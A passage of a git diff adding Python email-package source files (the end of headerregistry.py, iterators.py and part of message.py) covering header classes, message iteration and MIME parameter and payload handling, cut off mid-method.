self.__class__.__bases__, + str(self), + ), + self.__dict__) + + @classmethod + def _reconstruct(cls, value): + return str.__new__(cls, value) + + def fold(self, *, policy): + """Fold header according to policy. + + The parsed representation of the header is folded according to + RFC5322 rules, as modified by the policy. If the parse tree + contains surrogateescaped bytes, the bytes are CTE encoded using + the charset 'unknown-8bit". + + Any non-ASCII characters in the parse tree are CTE encoded using + charset utf-8. XXX: make this a policy setting. + + The returned value is an ASCII-only string possibly containing linesep + characters, and ending with a linesep character. The string includes + the header name and the ': ' separator. + + """ + # At some point we need to put fws here iif it was in the source. + header = parser.Header([ + parser.HeaderLabel([ + parser.ValueTerminal(self.name, 'header-name'), + parser.ValueTerminal(':', 'header-sep')]), + ]) + if self._parse_tree: + header.append( + parser.CFWSList([parser.WhiteSpaceTerminal(' ', 'fws')])) + header.append(self._parse_tree) + return header.fold(policy=policy) + + +def _reconstruct_header(cls_name, bases, value): + return type(cls_name, bases, {})._reconstruct(value) + + +class UnstructuredHeader: + + max_count = None + value_parser = staticmethod(parser.get_unstructured) + + @classmethod + def parse(cls, value, kwds): + kwds['parse_tree'] = cls.value_parser(value) + kwds['decoded'] = str(kwds['parse_tree']) + + +class UniqueUnstructuredHeader(UnstructuredHeader): + + max_count = 1 + + +class DateHeader: + + """Header whose value consists of a single timestamp. + + Provides an additional attribute, datetime, which is either an aware + datetime using a timezone, or a naive datetime if the timezone + in the input string is -0000. Also accepts a datetime as input. + The 'value' attribute is the normalized form of the timestamp, + which means it is the output of format_datetime on the datetime. + """ + + max_count = None + + # This is used only for folding, not for creating 'decoded'. + value_parser = staticmethod(parser.get_unstructured) + + @classmethod + def parse(cls, value, kwds): + if not value: + kwds['defects'].append(errors.HeaderMissingRequiredValue()) + kwds['datetime'] = None + kwds['decoded'] = '' + kwds['parse_tree'] = parser.TokenList() + return + if isinstance(value, str): + value = utils.parsedate_to_datetime(value) + kwds['datetime'] = value + kwds['decoded'] = utils.format_datetime(kwds['datetime']) + kwds['parse_tree'] = cls.value_parser(kwds['decoded']) + + def init(self, *args, **kw): + self._datetime = kw.pop('datetime') + super().init(*args, **kw) + + @property + def datetime(self): + return self._datetime + + +class UniqueDateHeader(DateHeader): + + max_count = 1 + + +class AddressHeader: + + max_count = None + + @staticmethod + def value_parser(value): + address_list, value = parser.get_address_list(value) + assert not value, 'this should not happen' + return address_list + + @classmethod + def parse(cls, value, kwds): + if isinstance(value, str): + # We are translating here from the RFC language (address/mailbox) + # to our API language (group/address). + kwds['parse_tree'] = address_list = cls.value_parser(value) + groups = [] + for addr in address_list.addresses: + groups.append(Group(addr.display_name, + [Address(mb.display_name or '', + mb.local_part or '', + mb.domain or '') + for mb in addr.all_mailboxes])) + defects = list(address_list.all_defects) + else: + # Assume it is Address/Group stuff + if not hasattr(value, '__iter__'): + value = [value] + groups = [Group(None, [item]) if not hasattr(item, 'addresses') + else item + for item in value] + defects = [] + kwds['groups'] = groups + kwds['defects'] = defects + kwds['decoded'] = ', '.join([str(item) for item in groups]) + if 'parse_tree' not in kwds: + kwds['parse_tree'] = cls.value_parser(kwds['decoded']) + + def init(self, *args, **kw): + self._groups = tuple(kw.pop('groups')) + self._addresses = None + super().init(*args, **kw) + + @property + def groups(self): + return self._groups + + @property + def addresses(self): + if self._addresses is None: + self._addresses = tuple([address for group in self._groups + for address in group.addresses]) + return self._addresses + + +class UniqueAddressHeader(AddressHeader): + + max_count = 1 + + +class SingleAddressHeader(AddressHeader): + + @property + def address(self): + if len(self.addresses)!=1: + raise ValueError(("value of single address header {} is not " + "a single address").format(self.name)) + return self.addresses[0] + + +class UniqueSingleAddressHeader(SingleAddressHeader): + + max_count = 1 + + +class MIMEVersionHeader: + + max_count = 1 + + value_parser = staticmethod(parser.parse_mime_version) + + @classmethod + def parse(cls, value, kwds): + kwds['parse_tree'] = parse_tree = cls.value_parser(value) + kwds['decoded'] = str(parse_tree) + kwds['defects'].extend(parse_tree.all_defects) + kwds['major'] = None if parse_tree.minor is None else parse_tree.major + kwds['minor'] = parse_tree.minor + if parse_tree.minor is not None: + kwds['version'] = '{}.{}'.format(kwds['major'], kwds['minor']) + else: + kwds['version'] = None + + def init(self, *args, **kw): + self._version = kw.pop('version') + self._major = kw.pop('major') + self._minor = kw.pop('minor') + super().init(*args, **kw) + + @property + def major(self): + return self._major + + @property + def minor(self): + return self._minor + + @property + def version(self): + return self._version + + +class ParameterizedMIMEHeader: + + # Mixin that handles the params dict. Must be subclassed and + # a property value_parser for the specific header provided. + + max_count = 1 + + @classmethod + def parse(cls, value, kwds): + kwds['parse_tree'] = parse_tree = cls.value_parser(value) + kwds['decoded'] = str(parse_tree) + kwds['defects'].extend(parse_tree.all_defects) + if parse_tree.params is None: + kwds['params'] = {} + else: + # The MIME RFCs specify that parameter ordering is arbitrary. + kwds['params'] = {utils._sanitize(name).lower(): + utils._sanitize(value) + for name, value in parse_tree.params} + + def init(self, *args, **kw): + self._params = kw.pop('params') + super().init(*args, **kw) + + @property + def params(self): + return MappingProxyType(self._params) + + +class ContentTypeHeader(ParameterizedMIMEHeader): + + value_parser = staticmethod(parser.parse_content_type_header) + + def init(self, *args, **kw): + super().init(*args, **kw) + self._maintype = utils._sanitize(self._parse_tree.maintype) + self._subtype = utils._sanitize(self._parse_tree.subtype) + + @property + def maintype(self): + return self._maintype + + @property + def subtype(self): + return self._subtype + + @property + def content_type(self): + return self.maintype + '/' + self.subtype + + +class ContentDispositionHeader(ParameterizedMIMEHeader): + + value_parser = staticmethod(parser.parse_content_disposition_header) + + def init(self, *args, **kw): + super().init(*args, **kw) + cd = self._parse_tree.content_disposition + self._content_disposition = cd if cd is None else utils._sanitize(cd) + + @property + def content_disposition(self): + return self._content_disposition + + +class ContentTransferEncodingHeader: + + max_count = 1 + + value_parser = staticmethod(parser.parse_content_transfer_encoding_header) + + @classmethod + def parse(cls, value, kwds): + kwds['parse_tree'] = parse_tree = cls.value_parser(value) + kwds['decoded'] = str(parse_tree) + kwds['defects'].extend(parse_tree.all_defects) + + def init(self, *args, **kw): + super().init(*args, **kw) + self._cte = utils._sanitize(self._parse_tree.cte) + + @property + def cte(self): + return self._cte + + +# The header factory # + +_default_header_map = { + 'subject': UniqueUnstructuredHeader, + 'date': UniqueDateHeader, + 'resent-date': DateHeader, + 'orig-date': UniqueDateHeader, + 'sender': UniqueSingleAddressHeader, + 'resent-sender': SingleAddressHeader, + 'to': UniqueAddressHeader, + 'resent-to': AddressHeader, + 'cc': UniqueAddressHeader, + 'resent-cc': AddressHeader, + 'bcc': UniqueAddressHeader, + 'resent-bcc': AddressHeader, + 'from': UniqueAddressHeader, + 'resent-from': AddressHeader, + 'reply-to': UniqueAddressHeader, + 'mime-version': MIMEVersionHeader, + 'content-type': ContentTypeHeader, + 'content-disposition': ContentDispositionHeader, + 'content-transfer-encoding': ContentTransferEncodingHeader, + } + +class HeaderRegistry: + + """A header_factory and header registry.""" + + def __init__(self, base_class=BaseHeader, default_class=UnstructuredHeader, + use_default_map=True): + """Create a header_factory that works with the Policy API. + + base_class is the class that will be the last class in the created + header class's __bases__ list. default_class is the class that will be + used if "name" (see __call__) does not appear in the registry. + use_default_map controls whether or not the default mapping of names to + specialized classes is copied in to the registry when the factory is + created. The default is True. + + """ + self.registry = {} + self.base_class = base_class + self.default_class = default_class + if use_default_map: + self.registry.update(_default_header_map) + + def map_to_type(self, name, cls): + """Register cls as the specialized class for handling "name" headers. + + """ + self.registry[name.lower()] = cls + + def __getitem__(self, name): + cls = self.registry.get(name.lower(), self.default_class) + return type('_'+cls.__name__, (cls, self.base_class), {}) + + def __call__(self, name, value): + """Create a header instance for header 'name' from 'value'. + + Creates a header instance by creating a specialized class for parsing + and representing the specified header by combining the factory + base_class with a specialized class from the registry or the + default_class, and passing the name and value to the constructed + class's constructor. + + """ + return self[name](name, value) diff --git a/email/iterators.py b/email/iterators.py new file mode 100755 index 0000000..b5502ee --- /dev/null +++ b/email/iterators.py @@ -0,0 +1,71 @@ +# Copyright (C) 2001-2006 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""Various types of useful iterators and generators.""" + +__all__ = [ + 'body_line_iterator', + 'typed_subpart_iterator', + 'walk', + # Do not include _structure() since it's part of the debugging API. + ] + +import sys +from io import StringIO + + + +# This function will become a method of the Message class +def walk(self): + """Walk over the message tree, yielding each subpart. + + The walk is performed in depth-first order. This method is a + generator. + """ + yield self + if self.is_multipart(): + for subpart in self.get_payload(): + yield from subpart.walk() + + + +# These two functions are imported into the Iterators.py interface module. +def body_line_iterator(msg, decode=False): + """Iterate over the parts, returning string payloads line-by-line. + + Optional decode (default False) is passed through to .get_payload(). + """ + for subpart in msg.walk(): + payload = subpart.get_payload(decode=decode) + if isinstance(payload, str): + yield from StringIO(payload) + + +def typed_subpart_iterator(msg, maintype='text', subtype=None): + """Iterate over the subparts with a given MIME type. + + Use `maintype' as the main MIME type to match against; this defaults to + "text". Optional `subtype' is the MIME subtype to match against; if + omitted, only the main type is matched. + """ + for subpart in msg.walk(): + if subpart.get_content_maintype() == maintype: + if subtype is None or subpart.get_content_subtype() == subtype: + yield subpart + + + +def _structure(msg, fp=None, level=0, include_default=False): + """A handy debugging aid""" + if fp is None: + fp = sys.stdout + tab = ' ' * (level * 4) + print(tab + msg.get_content_type(), end='', file=fp) + if include_default: + print(' [%s]' % msg.get_default_type(), file=fp) + else: + print(file=fp) + if msg.is_multipart(): + for subpart in msg.get_payload(): + _structure(subpart, fp, level+1, include_default) diff --git a/email/message.py b/email/message.py new file mode 100755 index 0000000..b6512f2 --- /dev/null +++ b/email/message.py @@ -0,0 +1,1164 @@ +# Copyright (C) 2001-2007 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""Basic message object for the email package object model.""" + +__all__ = ['Message', 'EmailMessage'] + +import re +import uu +import quopri +from io import BytesIO, StringIO + +# Intrapackage imports +from email import utils +from email import errors +from email._policybase import Policy, compat32 +from email import charset as _charset +from email._encoded_words import decode_b +Charset = _charset.Charset + +SEMISPACE = '; ' + +# Regular expression that matches `special' characters in parameters, the +# existence of which force quoting of the parameter value. +tspecials = re.compile(r'[ \(\)<>@,;:\\"/\[\]\?=]') + + +def _splitparam(param): + # Split header parameters. BAW: this may be too simple. It isn't + # strictly RFC 2045 (section 5.1) compliant, but it catches most headers + # found in the wild. We may eventually need a full fledged parser. + # RDM: we might have a Header here; for now just stringify it. + a, sep, b = str(param).partition(';') + if not sep: + return a.strip(), None + return a.strip(), b.strip() + +def _formatparam(param, value=None, quote=True): + """Convenience function to format and return a key=value pair. + + This will quote the value if needed or if quote is true. If value is a + three tuple (charset, language, value), it will be encoded according + to RFC2231 rules. If it contains non-ascii characters it will likewise + be encoded according to RFC2231 rules, using the utf-8 charset and + a null language. + """ + if value is not None and len(value) > 0: + # A tuple is used for RFC 2231 encoded parameter values where items + # are (charset, language, value). charset is a string, not a Charset + # instance. RFC 2231 encoded values are never quoted, per RFC. + if isinstance(value, tuple): + # Encode as per RFC 2231 + param += '*' + value = utils.encode_rfc2231(value[2], value[0], value[1]) + return '%s=%s' % (param, value) + else: + try: + value.encode('ascii') + except UnicodeEncodeError: + param += '*' + value = utils.encode_rfc2231(value, 'utf-8', '') + return '%s=%s' % (param, value) + # BAW: Please check this. I think that if quote is set it should + # force quoting even if not necessary. + if quote or tspecials.search(value): + return '%s="%s"' % (param, utils.quote(value)) + else: + return '%s=%s' % (param, value) + else: + return param + +def _parseparam(s): + # RDM This might be a Header, so for now stringify it. + s = ';' + str(s) + plist = [] + while s[:1] == ';': + s = s[1:] + end = s.find(';') + while end > 0 and (s.count('"', 0, end) - s.count('\\"', 0, end)) % 2: + end = s.find(';', end + 1) + if end < 0: + end = len(s) + f = s[:end] + if '=' in f: + i = f.index('=') + f = f[:i].strip().lower() + '=' + f[i+1:].strip() + plist.append(f.strip()) + s = s[end:] + return plist + + +def _unquotevalue(value): + # This is different than utils.collapse_rfc2231_value() because it doesn't + # try to convert the value to a unicode. Message.get_param() and + # Message.get_params() are both currently defined to return the tuple in + # the face of RFC 2231 parameters. + if isinstance(value, tuple): + return value[0], value[1], utils.unquote(value[2]) + else: + return utils.unquote(value) + + + +class Message: + """Basic message object. + + A message object is defined as something that has a bunch of RFC 2822 + headers and a payload. It may optionally have an envelope header + (a.k.a. Unix-From or From_ header). If the message is a container (i.e. a + multipart or a message/rfc822), then the payload is a list of Message + objects, otherwise it is a string. + + Message objects implement part of the `mapping' interface, which assumes + there is exactly one occurrence of the header per message. Some headers + do in fact appear multiple times (e.g. Received) and for those headers, + you must use the explicit API to set or get all the headers. Not all of + the mapping methods are implemented. + """ + def __init__(self, policy=compat32): + self.policy = policy + self._headers = [] + self._unixfrom = None + self._payload = None + self._charset = None + # Defaults for multipart messages + self.preamble = self.epilogue = None + self.defects = [] + # Default content type + self._default_type = 'text/plain' + + def __str__(self): + """Return the entire formatted message as a string. + """ + return self.as_string() + + def as_string(self, unixfrom=False, maxheaderlen=0, policy=None): + """Return the entire formatted message as a string. + + Optional 'unixfrom', when true, means include the Unix From_ envelope + header. For backward compatibility reasons, if maxheaderlen is + not specified it defaults to 0, so you must override it explicitly + if you want a different maxheaderlen. 'policy' is passed to the + Generator instance used to serialize the mesasge; if it is not + specified the policy associated with the message instance is used. + + If the message object contains binary data that is not encoded + according to RFC standards, the non-compliant data will be replaced by + unicode "unknown character" code points. + """ + from email.generator import Generator + policy = self.policy if policy is None else policy + fp = StringIO() + g = Generator(fp, + mangle_from_=False, + maxheaderlen=maxheaderlen, + policy=policy) + g.flatten(self, unixfrom=unixfrom) + return fp.getvalue() + + def __bytes__(self): + """Return the entire formatted message as a bytes object. + """ + return self.as_bytes() + + def as_bytes(self, unixfrom=False, policy=None): + """Return the entire formatted message as a bytes object. + + Optional 'unixfrom', when true, means include the Unix From_ envelope + header. 'policy' is passed to the BytesGenerator instance used to + serialize the message; if not specified the policy associated with + the message instance is used. + """ + from email.generator import BytesGenerator + policy = self.policy if policy is None else policy + fp = BytesIO() + g = BytesGenerator(fp, mangle_from_=False, policy=policy) + g.flatten(self, unixfrom=unixfrom) + return fp.getvalue() + + def is_multipart(self): + """Return True if the message consists of multiple parts.""" + return isinstance(self._payload, list) + + # + # Unix From_ line + # + def set_unixfrom(self, unixfrom): + self._unixfrom = unixfrom + + def get_unixfrom(self): + return self._unixfrom + + # + # Payload manipulation. + # + def attach(self, payload): + """Add the given payload to the current payload. + + The current payload will always be a list of objects after this method + is called. If you want to set the payload to a scalar object, use + set_payload() instead. + """ + if self._payload is None: + self._payload = [payload] + else: + try: + self._payload.append(payload) + except AttributeError: + raise TypeError("Attach is not valid on a message with a" + " non-multipart payload") + + def get_payload(self, i=None, decode=False): + """Return a reference to the payload. + + The payload will either be a list object or a string. If you mutate + the list object, you modify the message's payload in place. Optional + i returns that index into the payload. + + Optional decode is a flag indicating whether the payload should be + decoded or not, according to the Content-Transfer-Encoding header + (default is False). + + When True and the message is not a multipart, the payload will be + decoded if this header's value is `quoted-printable' or `base64'. If + some other encoding is used, or the header is missing, or if the + payload has bogus data (i.e. bogus base64 or uuencoded data), the + payload is returned as-is. + + If the message is a multipart and the decode flag is True, then None + is returned. + """ + # Here is the logic table for this code, based on the email5.0.0 code: + # i decode is_multipart result + # ------ ------ ------------ ------------------------------ + # None True True None + # i True True None + # None False True _payload (a list) + # i False True _payload element i (a Message) + # i False False error (not a list) + # i True False error (not a list) + # None False False _payload + # None True False _payload decoded (bytes) + # Note that Barry planned to factor out the 'decode' case, but that + # isn't so easy now that we handle the 8 bit data, which needs to be + # converted in both the decode and non-decode path. + if self.is_multipart(): + if decode: + return None + if i is None: + return self._payload + else: + return self._payload[i] + # For backward compatibility, Use isinstance and this error message + # instead of the more logical is_multipart test. + if i is not None and not isinstance(self._payload, list): + raise TypeError('Expected list, got %s' % type(self._payload)) + payload = self._payload + # cte might be a Header, so for now stringify it. + cte = str(self.get('content-transfer-encoding', '')).lower() + # payload may be bytes here. + if isinstance(payload, str): + if utils._has_surrogates(payload): + bpayload = payload.encode('ascii', 'surrogateescape') + if not decode: + try: + payload = bpayload.decode(self.get_param('charset', 'ascii'), 'replace') + except LookupError: + payload = bpayload.decode('ascii', 'replace') + elif decode: + try: + bpayload = payload.encode('ascii') + except UnicodeError: + # This won't happen for RFC compliant messages (messages + # containing only ASCII code points in the unicode input). + # If it does happen, turn the string into bytes in a way + # guaranteed not to fail. + bpayload = payload.encode('raw-unicode-escape') + if not decode: + return payload + if cte == 'quoted-printable': + return quopri.decodestring(bpayload) + elif cte == 'base64': + # XXX: this is a bit of a hack; decode_b should probably be factored + # out somewhere, but I haven't figured out where yet. + value, defects = decode_b(b''.join(bpayload.splitlines())) + for defect in defects: + self.policy.handle_defect(self, defect) + return value + elif cte in ('x-uuencode', 'uuencode', 'uue', 'x-uue'): + in_file = BytesIO(bpayload) + out_file = BytesIO() + try: + uu.decode(in_file, out_file, quiet=True) + return out_file.getvalue() + except uu.Error: + # Some decoding problem + return bpayload + if isinstance(payload, str): + return bpayload + return payload + + def set_payload(self, payload, charset=None): + """Set the payload to the given value. + + Optional charset sets the message's default character set. See + set_charset() for details. + """ + if hasattr(payload, 'encode'): + if charset is None: + self._payload = payload + return + if not isinstance(charset, Charset): + charset = Charset(charset) + payload = payload.encode(charset.output_charset) + if hasattr(payload, 'decode'): + self._payload = payload.decode('ascii', 'surrogateescape') + else: + self._payload = payload + if charset is not None: + self.set_charset(charset) + + def set_charset(self, charset): + """Set the charset of the payload to a given character set. + + charset can be a Charset instance, a string naming a character set, or + None. If it is a string it will be converted to a Charset instance. + If charset is None, the charset parameter will be removed from the + Content-Type field. Anything else will generate a TypeError. + + The message will be assumed to be of type text/* encoded with + charset.input_charset. It will be converted to charset.output_charset + and encoded properly, if needed, when generating the plain text + representation of the message. MIME headers (MIME-Version, + Content-Type, Content-Transfer-Encoding) will be added as needed. + """ + if charset is None: + self.del_param('charset') + self._charset = None + return + if not isinstance(charset, Charset): + charset = Charset(charset) + self._charset = charset + if 'MIME-Version' not in self: + self.add_header('MIME-Version', '1.0') + if 'Content-Type' not in self: + self.add_header('Content-Type', 'text/plain', + charset=charset.get_output_charset()) + else: + self.set_param('charset', charset.get_output_charset()) + if charset != charset.get_output_charset(): + self._payload = charset.body_encode(self._payload) + if 'Content-Transfer-Encoding' not in self: + cte = charset.get_body_encoding() + try: + cte(self) + except TypeError: + # This 'if' is for backward compatibility, it allows unicode + # through even though that won't work correctly if the + # message is serialized. + payload = self._payload + if payload: + try: + payload = payload.encode('ascii', 'surrogateescape') + except UnicodeError: + payload = payload.encode(charset.output_charset) + self._payload = charset.body_encode(payload) + self.add_header('Content-Transfer-Encoding', cte) + + def get_charset(self): + """Return the Charset instance associated with the message's payload. + """ + return self._charset + + # + # MAPPING INTERFACE (partial) + # + def __len__(self): + """Return the total number of headers, including duplicates.""" + return len(self._headers) + + def __getitem__(self, name): + """Get a header value. + + Return None if the header is missing instead of raising an exception. + + Note that if the header appeared multiple times, exactly which + occurrence gets returned is undefined. Use get_all() to get all + the values matching a header field name. + """ + return self.get(name) + + def __setitem__(self, name, val): + """Set the value of a header. + + Note: this does not overwrite an existing header with the same field + name. Use __delitem__() first to delete any existing headers. + """ + max_count = self.policy.header_max_count(name) + if max_count: + lname = name.lower() + found = 0 + for k, v in self._headers: + if k.lower() == lname: + found += 1 + if found >= max_count: + raise ValueError("There may be at most {} {} headers " + "in a message".format(max_count, name)) + self._headers.append(self.policy.header_store_parse(name, val)) + + def __delitem__(self, name): + """Delete all occurrences of a header, if present. + + Does not raise an exception if the header is missing. + """ + name = name.lower() + newheaders = [] + for k, v in self._headers: + if k.lower() != name: + newheaders.append((k, v)) + self._headers = newheaders + + def __contains__(self, name): + return name.lower() in [k.lower() for k, v in self._headers] + + def __iter__(self): + for field, value in self._headers: + yield field + + def keys(self): + """Return a list of all the message's header field names. + + These will be sorted in the order they appeared in the original + message, or were added to the message, and may contain duplicates. + Any fields deleted and re-inserted are always appended to the header + list. + """ + return [k for k, v in self._headers] + + def values(self): + """Return a list of all the message's header values. + + These will be sorted in the order they appeared in the original + message, or were added to the message, and may contain duplicates. + Any fields deleted and re-inserted are always appended to the header + list. + """ + return [self.policy.header_fetch_parse(k, v) + for k, v in self._headers] + + def items(self): + """Get all the message's header fields and values. + + These will be sorted in the order they appeared in the original + message, or were added to the message, and may contain duplicates. + Any fields deleted and re-inserted are always appended to the header + list. + """ + return [(k, self.policy.header_fetch_parse(k, v)) + for k, v in self._headers] + + def get(self, name, failobj=None): + """Get a header value. + + Like __getitem__() but return failobj instead of None when the field + is missing. + """ + name = name.lower() + for k, v in self._headers: + if k.lower() == name: + return self.policy.header_fetch_parse(k, v) + return failobj + + # + # "Internal" methods (public API, but only intended for use by a parser + # or generator, not normal application code. + # + + def set_raw(self, name, value): + """Store name and value in the model without modification. + + This is an "internal" API, intended only for use by a parser. + """ + self._headers.append((name, value)) + + def raw_items(self): + """Return the (name, value) header pairs without modification. + + This is an "internal" API, intended only for use by a generator. + """ + return iter(self._headers.copy()) + + # + # Additional useful stuff + # + + def get_all(self, name, failobj=None): + """Return a list of all the values for the named field. + + These will be sorted in the order they appeared in the original + message, and may contain duplicates. Any fields deleted and + re-inserted are always appended to the header list. + + If no such fields exist, failobj is returned (defaults to None). + """ + values = [] + name = name.lower() + for k, v in self._headers: + if k.lower() == name: + values.append(self.policy.header_fetch_parse(k, v)) + if not values: + return failobj + return values + + def add_header(self, _name, _value, **_params): + """Extended header setting. + + name is the header field to add. keyword arguments can be used to set + additional parameters for the header field, with underscores converted + to dashes. Normally the parameter will be added as key="value" unless + value is None, in which case only the key will be added. If a + parameter value contains non-ASCII characters it can be specified as a + three-tuple of (charset, language, value), in which case it will be + encoded according to RFC2231 rules. Otherwise it will be encoded using + the utf-8 charset and a language of ''. + + Examples: + + msg.add_header('content-disposition', 'attachment', filename='bud.gif') + msg.add_header('content-disposition', 'attachment', + filename=('utf-8', '', Fußballer.ppt')) + msg.add_header('content-disposition', 'attachment', + filename='Fußballer.ppt')) + """ + parts = [] + for k, v in _params.items(): + if v is None: + parts.append(k.replace('_', '-')) + else: + parts.append(_formatparam(k.replace('_', '-'), v)) + if _value is not None: + parts.insert(0, _value) + self[_name] = SEMISPACE.join(parts) + + def replace_header(self, _name, _value): + """Replace a header. + + Replace the first matching header found in the message, retaining + header order and case. If no matching header was found, a KeyError is + raised. + """ + _name = _name.lower() + for i, (k, v) in zip(range(len(self._headers)), self._headers): + if k.lower() == _name: + self._headers[i] = self.policy.header_store_parse(k, _value) + break + else: + raise KeyError(_name) + + # + # Use these three methods instead of the three above. + # + + def get_content_type(self): + """Return the message's content type. + + The returned string is coerced to lower case of the form + `maintype/subtype'. If there was no Content-Type header in the + message, the default type as given by get_default_type() will be + returned. Since according to RFC 2045, messages always have a default + type this will always return a value. + + RFC 2045 defines a message's default type to be text/plain unless it + appears inside a multipart/digest container, in which case it would be + message/rfc822. + """ + missing = object() + value = self.get('content-type', missing) + if value is missing: + # This should have no parameters + return self.get_default_type() + ctype = _splitparam(value)[0].lower() + # RFC 2045, section 5.2 says if its invalid, use text/plain + if ctype.count('/') != 1: + return 'text/plain' + return ctype + + def get_content_maintype(self): + """Return the message's main content type. + + This is the `maintype' part of the string returned by + get_content_type(). + """ + ctype = self.get_content_type() + return ctype.split('/')[0] + + def get_content_subtype(self): + """Returns the message's sub-content type. + + This is the `subtype' part of the string returned by + get_content_type(). + """ + ctype = self.get_content_type() + return ctype.split('/')[1] + + def get_default_type(self): + """Return the `default' content type. + + Most messages have a default content type of text/plain, except for + messages that are subparts of multipart/digest containers. Such + subparts have a default content type of message/rfc822. + """ + return self._default_type + + def set_default_type(self, ctype): + """Set the `default' content type. + + ctype should be either "text/plain" or "message/rfc822", although this + is not enforced. The default content type is not stored in the + Content-Type header. + """ + self._default_type = ctype + + def _get_params_preserve(self, failobj, header): + # Like get_params() but preserves the quoting of values. BAW: + # should this be part of the public interface? + missing = object() + value = self.get(header, missing) + if value is missing: + return failobj + params = [] + for p in _parseparam(value): + try: + name, val = p.split('=', 1) + name = name.strip() + val = val.strip() + except ValueError: + # Must have been a bare attribute + name = p.strip() + val = '' + params.append((name, val)) + params = utils.decode_params(params) + return params + + def get_params(self, failobj=None, header='content-type', unquote=True): + """Return the message's Content-Type parameters, as a list. + + The elements of the returned list are 2-tuples of key/value pairs, as + split on the `=' sign. The left hand side of the `=' is the key, + while the right hand side is the value. If there is no `=' sign in + the parameter the value is the empty string. The value is as + described in the get_param() method. + + Optional failobj is the object to return if there is no Content-Type + header. Optional header is the header to search instead of + Content-Type. If unquote is True, the value is unquoted. + """ + missing = object() + params = self._get_params_preserve(missing, header) + if params is missing: + return failobj + if unquote: + return [(k, _unquotevalue(v)) for k, v in params] + else: + return params + + def get_param(self, param, failobj=None, header='content-type', + unquote=True): + """Return the parameter value if found in the Content-Type header. + + Optional failobj is the object to return if there is no Content-Type + header, or the Content-Type header has no such parameter. Optional + header is the header to search instead of Content-Type. + + Parameter keys are always compared case insensitively. The return + value can either be a string, or a 3-tuple if the parameter was RFC + 2231 encoded. When it's a 3-tuple, the elements of the value are of + the form (CHARSET, LANGUAGE, VALUE). Note that both CHARSET and + LANGUAGE can be None, in which case you should consider VALUE to be + encoded in the us-ascii charset. You can usually ignore LANGUAGE. + The parameter value (either the returned string, or the VALUE item in + the 3-tuple) is always unquoted, unless unquote is set to False. + + If your application doesn't care whether the parameter was RFC 2231 + encoded, it can turn the return value into a string as follows: + + rawparam = msg.get_param('foo') + param = email.utils.collapse_rfc2231_value(rawparam) + + """ + if header not in self: + return failobj + for k, v in self._get_params_preserve(failobj, header): + if k.lower() == param.lower(): + if unquote: + return _unquotevalue(v) + else: + return v + return failobj + + def set_param(self, param, value, header='Content-Type', requote=True, + charset=None, language='', replace=False): + """Set a parameter in the Content-Type header. + + If the parameter already exists in the header, its value will be + replaced with the new value. + + If header is Content-Type and has not yet been defined for this + message, it will be set to "text/plain" and the new parameter and + value will be appended as per RFC 2045. + + An alternate header can be specified in the header argument, and all + parameters will be quoted as necessary unless requote is False. + + If charset is specified, the parameter will be encoded according to RFC + 2231. Optional language specifies the RFC 2231 language, defaulting + to the empty string. Both charset and language should be strings. + """ + if not isinstance(value, tuple) and charset: + value = (charset, language, value) + + if header not in self and header.lower() == 'content-type': + ctype = 'text/plain' + else: + ctype = self.get(header) + if not self.get_param(param, header=header): + if not ctype: + ctype = _formatparam(param, value, requote) + else: + ctype = SEMISPACE.join( + [ctype, _formatparam(param, value, requote)]) + else: + ctype = '' + for old_param, old_value in self.get_params(header=header, + unquote=requote): + append_param = '' + if old_param.lower() == param.lower(): + append_param = _formatparam(param, value, requote) + else: + append_param = _formatparam(old_param, old_value, requote) + if not ctype: + ctype = append_param + else: + ctype = SEMISPACE.join([ctype, append_param]) + if ctype != self.get(header): + if replace: + self.replace_header(header, ctype) + else: + del self[header] + self[header] = ctype + + def del_param(self, param, header='content-type', requote=True): + """Remove the given parameter completely from the Content-Type header. + + The header will be re-written in place without the parameter or its + value. All values will be quoted as necessary unless requote is + False. Optional header specifies an alternative to the Content-Type + header. + """ + if header not in self: + return + new_ctype = '' + for p, v in self.get_params(header=header, unquote=requote): + if p.lower() != param.lower(): + if not new_ctype: + new_ctype = _formatparam(p, v, requote) + else: + new_ctype = SEMISPACE.join([new_ctype, + _formatparam(p, v, requote)]) + if new_ctype != self.get(header): + del self[header] + self[header] = new_ctype + + def set_type(self, type, header='Content-Type', requote=True): + """Set the main type and subtype for the Content-Type header. + + type must be a string in the form "maintype/subtype", otherwise a + ValueError is raised. + + This method replaces the Content-Type header, keeping all the + parameters in place. If requote is False, this leaves the existing + header's quoting as is. Otherwise, the parameters will be quoted (the + default). + + An alternative header can be specified in the header argument. When + the Content-Type header is set, we'll always also add a MIME-Version + header. + """ + # BAW: should we be strict? + if not type.count('/') == 1: + raise ValueError + # Set the Content-Type, you get a MIME-Version + if header.lower() == 'content-type': + del self['mime-version'] + self['MIME-Version'] = '1.0' + if header not in self: + self[header] = type + return + params = self.get_params(header=header, unquote=requote) + del self[header] + self[header] = type + # Skip the first param; it's the old type. + for p, v in params[1:]: + self.set_param(p, v, header, requote) + + def get_filename(self, failobj=None): + """Return the filename associated with the payload if present. + + The filename is extracted from the Content-Disposition header's + `filename' parameter, and it is unquoted. If that header is missing + the `filename' parameter, this method falls back to looking for the + `name' parameter. + """ + missing = object() + filename = self.get_param('filename', missing, 'content-disposition') + if filename is missing: + filename = self.get_param('name', missing, 'content-type') + if filename is missing: + return failobj + return utils.collapse_rfc2231_value(filename).strip() + + def get_boundary(self, failobj=None): + """Return the boundary associated with the payload if present. + + The boundary is extracted from the Content-Type header's `boundary' + parameter, and it is unquoted. + """ + missing = object() + boundary = self.get_param('boundary', missing) + if boundary is missing: + return failobj + # RFC 2046 says that boundaries may begin but not end in w/s + return utils.collapse_rfc2231_value(boundary).rstrip() + + def set_boundary(self, boundary): + """Set the boundary parameter in Content-Type to 'boundary'. + + This is subtly different than deleting the Content-Type header and + adding a new one with a new boundary parameter via add_header(). The + main difference is that using the set_boundary() method preserves the + order of the Content-Type header in the original message. + + HeaderParseError is raised if the message has no Content-Type header. + """ + missing = object() + params = self._get_params_preserve(missing, 'content-type') + if params is missing: + # There was no Content-Type header, and we don't know what type + # to set it to, so raise an exception. + raise errors.HeaderParseError('No Content-Type header found') + newparams = [] + foundp = False + for pk, pv in params: + if pk.lower() == 'boundary': + newparams.append(('boundary', '"%s"' % boundary)) + foundp = True + else: + newparams.append((pk, pv)) + if not foundp: + # The original Content-Type header had no boundary attribute. + # Tack one on the end. BAW: should we raise an exception + # instead??? + newparams.append(('boundary', '"%s"' % 